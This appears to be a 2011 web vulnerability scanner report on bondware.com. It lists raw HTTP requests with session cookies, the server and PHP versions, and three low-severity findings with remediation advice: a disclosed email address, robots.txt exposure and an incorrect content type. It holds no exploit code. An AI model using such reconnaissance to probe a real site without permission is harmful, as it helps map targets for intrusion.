GET /index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:01:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33384
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /login.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 40512
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /mod/bcs/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 75754
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /mod/ecs/index.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 75747
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /online-newspaper-website-software-cms-251 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34263
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /support-contracts-cms-460 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24616
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /tos.php HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38944
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /trade-association-website-cms-246 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31540
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The following email address was disclosed in the response:
dcon@bondware.com
Request
GET /website-hosting-pricing-cms-372 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:02:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31734
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: bondware.com
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 17:31:58 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Mon, 07 Mar 2011 15:22:10 GMT ETag: "5020505-870-f34cc80" Accept-Ranges: bytes Content-Length: 2160 Connection: close Content-Type: text/plain; charset=UTF-8
# Disallow all/certain crawlers access to certain pages.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.